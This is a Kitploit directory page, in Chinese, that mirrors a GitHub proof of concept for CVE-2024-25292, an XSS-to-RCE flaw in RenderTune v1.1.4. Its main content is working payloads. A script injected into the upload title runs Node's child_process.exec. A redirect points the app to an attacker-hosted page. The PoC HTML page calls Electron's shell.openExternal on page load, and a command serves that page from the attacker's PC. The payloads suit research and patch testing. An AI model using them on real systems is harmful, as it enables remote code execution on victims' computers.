Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2024-25292 — XSS to RCE in RenderTune v1.1.4 exploit | Kitploit
工具/GitHubGitHub/eqstlab/cve-2024-25292
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationPayload Development
GitHubeqstlab/cve-2024-25292

CVE-2024-25292

XSS to RCE in RenderTune v1.1.4 exploit

查看仓库
211年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

RenderTune RCE

CVE-2024-25292 漏洞的概念验证。

RenderTune v1.1.4 中存在跨站脚本 (XSS) 漏洞,攻击者可通过向“上传标题”参数注入精心构造的有效载荷来执行任意 Web 脚本或 HTML。 本仓库包含一个示例的易受攻击应用程序及其概念验证 (PoC) 漏洞利用程序。

作为 PoC,提供了一个自动完成该过程的 Python 文件。

1. 漏洞概述:

这是一个通过 XSS 实现 RCE 的漏洞。 标题中存在一个可执行 XSS 的部分,因此该漏洞能够通过 XSS 语法利用 NodeJS 语法实现 RCE。


2. 漏洞成因:

  • nteract 0.28.0 允许通过 Markdown 链接使用 Electron webview,从而导致远程代码执行(因为 webPreferences 中的 nodeIntegration 设置为 true)。
  • 漏洞利用说明
    • 当在应用程序内通过 MarkDown 生成链接时,它会通过 Electron 创建一个 WebView,允许外部访问该链接。因此,攻击者可通过连接到指向攻击者服务器的链接来实现远程代码执行 (RCE)。

概念验证 (PoC)

Case 1) XSS 到 RCE。

步骤 1) 确认标题部分存在 XSS ※ 此时,除非附加了图片,否则上传项不会注册。

root@kitploit:~
<b>jruru</b>

1

步骤 2) 因此,配置为使用 XSS 执行 NodeJS 系统命令。

root@kitploit:~
<script>require('child_process').exec('C:/Windows/System32/calc.exe')</script>

2

Case 2) 通过攻击者服务器进行攻击

※ 当使用 window.location 尝试攻击时,每次运行应用程序都会自动跳转到您设置的页面。

root@kitploit:~
<script>window.loaction='http://[attacker IP]/[PoC.html]'</script>

注意: ※ 如果您想快速测试,请在攻击者 PC 上使用以下代码创建一个服务器。

root@kitploit:~
$ python -m http.server 80
  • PoC 代码
root@kitploit:~
<html>
<head>
  <title>jruru Link</title>
</head>
<body>

  <!-- 使用标签上的 onclick 属性直接运行脚本 -->
  <a id="jruruLink" href="#" onclick="openExternal()">jruru Link</a>

  <script>
    // 脚本函数定义
    function openExternal() {
      try {
        const { shell } = require('electron');
        shell.openExternal('file:C:/Windows/System32/calc.exe');
      } catch(e) {
        alert('JRURU');
        alert(e);
      }
    }

    // 页面加载时自动运行脚本
    document.addEventListener('DOMContentLoaded', function() {
      openExternal();
    });
  </script>
</body>
</html>

renderTune3


下载工具